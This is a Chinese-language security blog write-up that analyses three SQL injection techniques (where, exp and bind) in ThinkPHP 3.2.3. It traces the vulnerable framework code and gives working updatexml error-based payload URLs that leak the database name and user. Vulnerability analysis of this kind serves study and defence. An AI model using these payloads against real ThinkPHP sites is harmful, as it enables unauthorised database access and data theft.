ThinkPhp3.2.3注入漏洞总结

环境配置

数据库连接配置

thinkphp3.2.3 where注入

控制器

/Application/Home/Controller/IndexController.class.php

payload

1
http://localhost/tp3/?id[where]=1%20and%201=updatexml(1,concat(0x7e,(select database()),0x7e),1)#

分析

I()方法上打一个断点,I()方法用来获取GET和POST参数

I()方法中经过htmlspecialchars()处理,再经过functions.php中think_filter函数过滤,这两处过滤对payload没有影响,可以直接忽略

think_filter函数

/ThinkPHP/Library/Think/Model.class.php

接下来进入find()方法处理

参数经过Model.class.php中的_parseOptions()方法处理后带入select方法进行查询,可以看到注入语句在经过_parseOptions()后就变成了int类型,后面的语句被去除了。

_parseOptions执行前,注入语句没有发生变化

跟进·_parseOptions(),满足条件进入_parseType()

在经过_parseType处理后,注入语句被转换成了int型,只保留了前面的数字,注意这里的$options['where']是一个array

跟进_parseType(),发现这里进行了强制类型转换,把payload强制转换成了int型,去掉了后面部分

绕过

只要is_array($options['where'])这个条件不满足,就不会进入到强制转换函数中,payload也就不会被过滤,所以要想办法让$options['where']不为数组

1
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))

当我们传入的payload为

1
?id=45789 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#

_parseOptions执行前,$options['where']就是一个数组了

find()函数开始存在一个判断,如果传入的参数为数字或者字符串,就会把他转换成数组再赋值给$options['where'],这样就会满足条件is_array($options['where'])从而导致payload被转换。

这里传入find()的参数是45789 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#,满足了if判断中的条件,注入失败。

当payload为

1
?id[where]=45789 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#

if条件不满足

options['where']就会是一个字符串,is_array($options['where'])条件不满足,就成功绕过了

注入语句没有被转换,直接被带入执行。

总结

注入产生的原因是构造的poc绕过了thinkphp对$option['where']是否是一个数组的判断,从而不满足is_array($options['where']),绕过了_parseType函数过滤,从而导致了注入。

Thinkphp 3.2.3 exp注入

控制器

payload

1
http://localhost/tp3/?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

find()执行到

1
$resultSet=$this->db->select($options);

/ThinkPHP/Library/Think/Db/Driver.class.php

进入select()

进入buildSelectSql()

进入parsesql(),关注parseWhere()函数

parseWhere()函数调用parseWhereItem()

elseif语句中直接拼接了where条件到sql语句中,到达该语句需要满足两个条件

1
2
if(is_array($val)) {
if(is_string($val[0]))

由于$exp=strtolower($val[0]);,传入username[0]=exp&username[1]=1 and 1=1

注意控制器那里不能使用I()方法来获取参数,因为前面提到I()方法中调用了think_filter()函数,该函数会过滤exp,导致注入失败

thinkphp 3.2.3 bind注入

控制器

1
2
3
4
5
6
7
8
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}

payload

1
http://localhost/tp3/?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

这里需要注意id[1]=0原理在下面说

save()函数中添加断点

/ThinkPHP/Library/Think/Db/Driver.class.php

进入update()

又经过了parseWhere()函数,除了之前利用的exp还有bind可以利用

直接传递payload,发现添加了冒号,注入失败

1
http://localhost/tp3/?id[0]=bind&id[1]=1

可以看到bindParam()添加冒号

ThinkPHP/Library/Think/Db/Driver.class.php

execute():0替换为传入参数,让参数等于0,相当于:0,然后被替换为1,成功注入

1
2
3
4
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}

参考

https://www.cnblogs.com/-qing-/p/11444871.html

https://darkless.cn/2020/06/07/thinkphp3.2.3-sqli/

https://syst1m.com/post/summary-of-thinkphp3-vulnerability/

https://www.chabug.org/audit/1062.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!